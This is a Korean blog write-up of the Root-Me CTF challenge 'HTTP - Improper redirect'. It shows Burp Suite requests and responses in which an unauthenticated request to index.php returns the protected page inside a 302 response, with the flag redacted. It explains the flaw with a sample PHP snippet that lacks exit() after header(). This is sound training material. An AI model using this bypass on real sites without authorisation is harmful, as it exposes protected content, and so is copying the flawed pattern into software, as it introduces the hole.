ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • HTTP - Improper redirect
    Hacking/CTF 문제 풀이 2025. 7. 7. 23:43
    728x90
    반응형

    Working through problems

    Burp Suite를 통해 login.php로 ID와 비밀번호를 입력 후 POST 요청을 전송하고 응답을 확인했습니다.

    요청

    POST /web-serveur/ch32/login.php HTTP/1.1
    Host: challenge01.root-me.org
    Content-Length: 18
    Cache-Control: max-age=0
    Accept-Language: ko-KR,ko;q=0.9
    Origin: http://challenge01.root-me.org
    Content-Type: application/x-www-form-urlencoded
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Referer: http://challenge01.root-me.org/web-serveur/ch32/login.php?redirect
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    login=1&password=1

     응답

    HTTP/1.1 200 OK
    Server: nginx
    Date: Sun, 06 Jul 2025 08:59:21 GMT
    Content-Type: text/html; charset=UTF-8
    Connection: keep-alive
    Vary: Accept-Encoding
    Content-Length: 473
    
    <html>
    
    <body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='https://www.root-me.org/?page=externe_header'></iframe>
    
    <p>Authentication Failed</p>
    <form method="post" name="form" action="login.php">
        <p>Login : <input type="text" name="login" ></p>
        <p>Password : <input type="password" name="password" ></p>
        <p><input type="submit" value="Log in" ></p>
    </form>
    
    </body>
    
    </html>

    응답 본문에서 "Authentication Failed" 라는 메시지를 확인되어 정상적인 로그인 흐름을 확인했습니다.

    취약점 추정

    로그인 실패 시 login.php?redirect로 리디렉션이 발생한다는 점을 확인하고 로그인 성공 시 index.php로 이동할 것이라 추정할 수 있으니 인증 없이 브라우저에서 직접 index.php에 접근하자 아래와 같은 흐름이 발생했습니다.

    • 브라우저 상에서는 정상적으로 로그인 페이지로 리디렉션됩니다.
    • 응답 코드가 302이기 때문에 혹시 코드 실행이 중단되지 않고 이어졌을 가능성을 의심할 수 있습니다.

    Burp Suite 확인

    같은 요청을 Burp Suite로 가로채고 확인해보니 아래와 같은 302 응답이 있었고 그 본문에 index.php 페이지의 실제 HTML 내용이 포함되어 있었습니다.

    HTTP/1.1 302 Found
    Server: nginx
    Date: Sun, 06 Jul 2025 15:13:28 GMT
    Content-Type: text/html; charset=UTF-8
    Connection: keep-alive
    Location: ./login.php?redirect
    Content-Length: 547
    
    <html>
    <body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='https://www.root-me.org/?page=externe_header'></iframe>
    <h1>Welcome !</h1>
    
    <p>Yeah ! The redirection is OK, but without exit() after the header('Location: ...'), PHP just continue the execution and send the page content !...</p>
    <p><a href="http://cwe.mitre.org/data/definitions/698.html">CWE-698: Execution After Redirect (EAR)</a></p>
    <p>The flag is : [Flag]
    </p>
    </body>
    </html>

    원인 분석

    이 취약점은 아래와 같은 구조로 작성되었을 가능성이 높습니다.

    <?php
    ...
    if (!$isLoggedIn) {
        header("Location: login.php");
    }
    ?>
    <!DOCTYPE html>
    <html lang="ko">
    <head>
        <meta charset="UTF-8" />
        <title>Index Page</title>
    </head>
    <body>
        ...
    </body>
    </html>
    • header()를 통해 리디렉션을 수행했지만, exit()을 호출하지 않아 코드가 계속 실행됩니다.
    • 브라우저는 302 Location만 따라가므로 문제가 잘 보이지 않지만 원응답을 보면 본문이 노출됩니다.
    728x90
    반응형

    'Hacking > CTF 문제 풀이' 카테고리의 다른 글

    Install files  (0) 2025.07.07
    HTTP - Verb tampering  (0) 2025.07.07
    HTTP - POST  (0) 2025.07.07
    HTTP - Headers  (0) 2025.07.07
    HTTP - Directory indexing  (0) 2025.07.07
Designed by Tistory.